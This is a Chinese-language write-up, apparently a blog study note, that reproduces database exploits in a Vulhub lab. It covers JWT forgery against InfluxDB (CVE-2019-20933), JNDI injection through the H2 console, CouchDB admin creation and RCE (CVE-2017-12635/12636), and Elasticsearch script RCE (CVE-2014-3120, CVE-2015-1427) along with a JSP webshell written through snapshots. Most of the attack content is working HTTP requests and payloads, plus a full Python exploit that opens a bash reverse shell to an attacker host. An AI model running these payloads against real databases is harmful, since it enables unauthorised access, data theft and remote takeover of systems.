influxdb&H2database&CouchDB&ElasticSearch数据库漏洞利用总结

299 阅读11分钟

influxdb

未授权访问 jwt 验证CVE-2019-20933

漏洞介绍

默认端口: 8086 8088

influxdb是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared secret 的情况下, jwt 的认证密钥为空字符串,此时攻击者可 以伪造任意用户身份在 influxdb 中执行 SQL 语句。

复现

访问http://xxx:xxx/debug/vars可查看系统服务信息:

image.png

进入到/query查询功能会提示需要登录:

image.png

尝试通过jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

exp是时间戳,代表token过期时间,今天是2023-10-11,选到11-11过期的

image.png

其中,username需要为已存在的用户,这里尝试以admin登录,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳。

将secret的值置空,得到编码后的 Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk5Njk2OTIzfQ.0-fnSjviqhL4GHE7WLYvAmqfQgfHQmRi3Ou3FPoJ1dg

image.png

然后/query查询页面,点击登录抓包

修改请求方法为post,然后添加请求头

Authorization: Bearer

下边是刚才生成的token

image.png 添加 POST 请求键值对:db=sample&q=show+users 发送数据包,得到查询结果。

有时候需要在请求头里添加

Content-Type:application/x-www-form-urlencoded

不然有可能报错404

常用命令

show databases      # 显示数据库
show users          # 显示用户
show measurements   # 显示所有measurements
​
create user influx with password '*********' with all privileges;   # 创建用户
​
create database xxx # 创建xxx数据库
drop database xxx   # 删除xxx数据库
​
use xxx     # 使用xxx数据库
select * from measurement_name limit 10

H2database

未授权访问 配置不当

漏洞介绍

默认端口:20051 H2 database是一款 Java 内存数据库,多用于单元测试。 H2 d atabase 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权:

spring.h2.console.enabled=true spring.h2.console.settings.web allow others=true 利用这个管理页面,我们可以进行JNDI 注入攻击,进而在目标环境下执行任意命令。

(也就是说因为配置问题,外部可以访问这个数据库并且可以进行命令注入)

复现

这里用vluhub靶场

靶机:192.168.138.132

攻击:192.168.138.128

http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。

这里靶场端口号为8080(记得服务器防火墙设置一下8080都端口)

注意这里端口号和h2database默认端口号20051不一样的

http://192.168.138.132:8080/h2-console

image.png

攻击机首先下载JNDI-Injection-Exploit.git(在脚本文件里边)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 
​
这个jar包其实就是生成监听模式,等着对方连接它,然后再把payload发送过去
所以如果实战的话,这里需要一个外网主机运行jar包

执行,-C 是要攻击的命令,-A后边跟的是攻击机的ip

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.138.128

image.png

回到网页

Driver Class:填javax.naming.InitialContext
JDBC URL填生成的rmi

image.png

点击连接,然后攻击机返回信息,代表命令执行成功

image.png

进入靶场内部查看文件是否生成成功,成功

image.png

CouchDB

权限绕过配合RCE漏洞(CVE-2017-12635)

漏洞介绍

影响版本:小于 1.7.0 以及 小于 2.1.1

默认端口号:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

复现

端口扫描发现5984端口开放

访问首页

http://靶机ip:5984

image.png

抓包访问 http://靶机ip:5984/_utils

修改数据包为一下数据包(只需要改host)

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 靶机ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
​
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

提示错误,提示只有管理员才能设置role角色

image.png

更改数据包为创建两个roles

这部分改就行

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

创建成功,这里之前已经成功过了,在发包就会显示报错,请忽略(具体也不知道为啥)

image.png

成功创建管理员账户,账户和密码都为vulhub

创建多个账户,url中的用户名必须和数据包中的用户名一样!

image.png

然后可以登录

image.png

登录成功

image.png

任意命令执行漏洞(CVE-2017-12636)

漏洞介绍

漏洞影响范围:Apache CouchDB小于 1.7.0 以及 小于 2.1.1

该漏洞是需要登录用户才可以触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。使用burp或者curl命令发送如下请求包:

复现

访问http://your-ip:5984/即可看到Couchdb的欢迎页面

image.png

该漏洞是需要登录用户才可以触发,直接使用exp

更改target(靶机)以及修改监听主机和端口

这里用了本机靶场192.168.138.132:5984

用阿里云设置监听,注意target后边没有/,不然会监听失败

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
​
target = 'http://192.168.138.132:5984'
command = rb"""bash -i >& /dev/tcp/攻击机ip/7777 0>&1"""
version = 1session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
 #session.proxies = {
 #      'http': 'http://127.0.0.1:8085'
 # }
 
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')
​
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
​
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
​
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
​
if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

服务器设置监听,执行exp,监听成功

image.png

ElasticSearch

未授权访问漏洞

ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放HTTP-9200端口,可被非法操作数据。

端口:9200

影响版本:ALL

若存在Elasticsearch未授权访问漏洞,则搜索以下内容发现敏感数据

直接get请求即可

http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据

CVE-2014-3120

漏洞介绍

ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

jre版本:openjdk:8-jre

elasticsearch版本:v1.1.1

复现

访问目标的9200,会出现Elasticsearch的信息:

image.png

利用该漏洞要求Elasticsearch中有数据,所以先创建一条数据,采用Burp发送数据包:

POST /website/blog/  HTTP/1.1
Host: 192.168.138.132:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27
​
{
      "name": "colleget"
}

创建成功

image.png

执行exp

POST /_search?pretty HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
​
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
        }
    }
}
    }
}

执行成功

image.png

写入webshell漏洞:WooYun-2015-110216

漏洞介绍

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

影响版本

1.5.x以前

复现

访问http://your-ip:9200即可看到ElasticSearch默认首页。并

并且8080存在tomcat目录

image.png

image.png

利用elasticsearch文件写入后门到/usr/local/tomcat/webapps/wwwroot/(实际目录可能会更改,需要找出来 )

首先创建一个恶意索引文档:

102的ascii是f,代表接受参数为f,test是文件名

curl -XPOST  http://192.168.138.132:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'

把文件引入到web目录下面也就是tomcat目录下边,其中location的值即为我要写入的路径。

这个Repositories的路径可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

curl -XPUT 'http://192.168.138.132:9200/_snapshot/yz.jsp' -d '{
     "type": "fs",
     "settings": {
          "location": "/usr/local/tomcat/webapps/wwwroot/",
          "compress": false
     }
}'

存储库验证并创建:

curl -XPUT "http://192.168.138.132:9200/_snapshot/yz.jsp/yz.jsp" -d '{
     "indices": "yz.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

都显示true,创建成功

image.png

访问http://192.168.138.132:9200/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://192.168.138.132:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=123456,我们再访问/wwwroot/test.jsp就能看到123456了(注意这里是8080端口

如果文件中写入一句话代码,就可以用哥斯拉等进行连接getshell

image.png

image.png

命令执行漏洞CVE-2015-1427

漏洞介绍

影响版本:

jre版本:openjdk:8-jre

elasticsearch版本:v1.4.2

v1.4: 1.4.2 , 1.4.1 , 1.4.0 , 1.4.0.Beta1

v1.3: 1.3.7 , 1.3.6 , 1.3.5 , 1.3.4 , 1.3.3 , 1.3.2 , 1.3.1 , 1.3.0.

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。

Groovy语言“沙盒”

ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:

  1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
  2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res
复现

访问http://your-ip:9200即可看到ElasticSearch默认首页。

image.png

看下版本,1.4.2在这个漏洞版本范围中

先创建一个数据包,增加一个数据包

POST /website/blog/ HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
​
{
  "name": "phithon"
}

1、利用POST方式提交数据 2、文件名字任意 3、浏览器的原生 form 表单,如果不设置 enctype 属性,那么其中Content-Type字段最终会以 application/x-www-form-urlencoded 方式提交数据。 而对于"application/x-www-form-urlencoded",其参数组织形式是"键值对"。

image.png

利用反射机制执行JAVA代码Payload:

POST /_search? HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 501
​
{
​
    "size":1,
​
    "script_fields": {
​
        "test#": {  
​
            "script":
​
                "java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",
​
            "lang": "groovy"
        }
​
    }
​
}

注:在任意的查询字符串中增加pretty参数,会让Elasticsearch美化输出,JSON响应以便更加容易阅读。

image.png

利用Groovy语言执行命令:

POST /_search?pretty HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
​
​
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}

image.png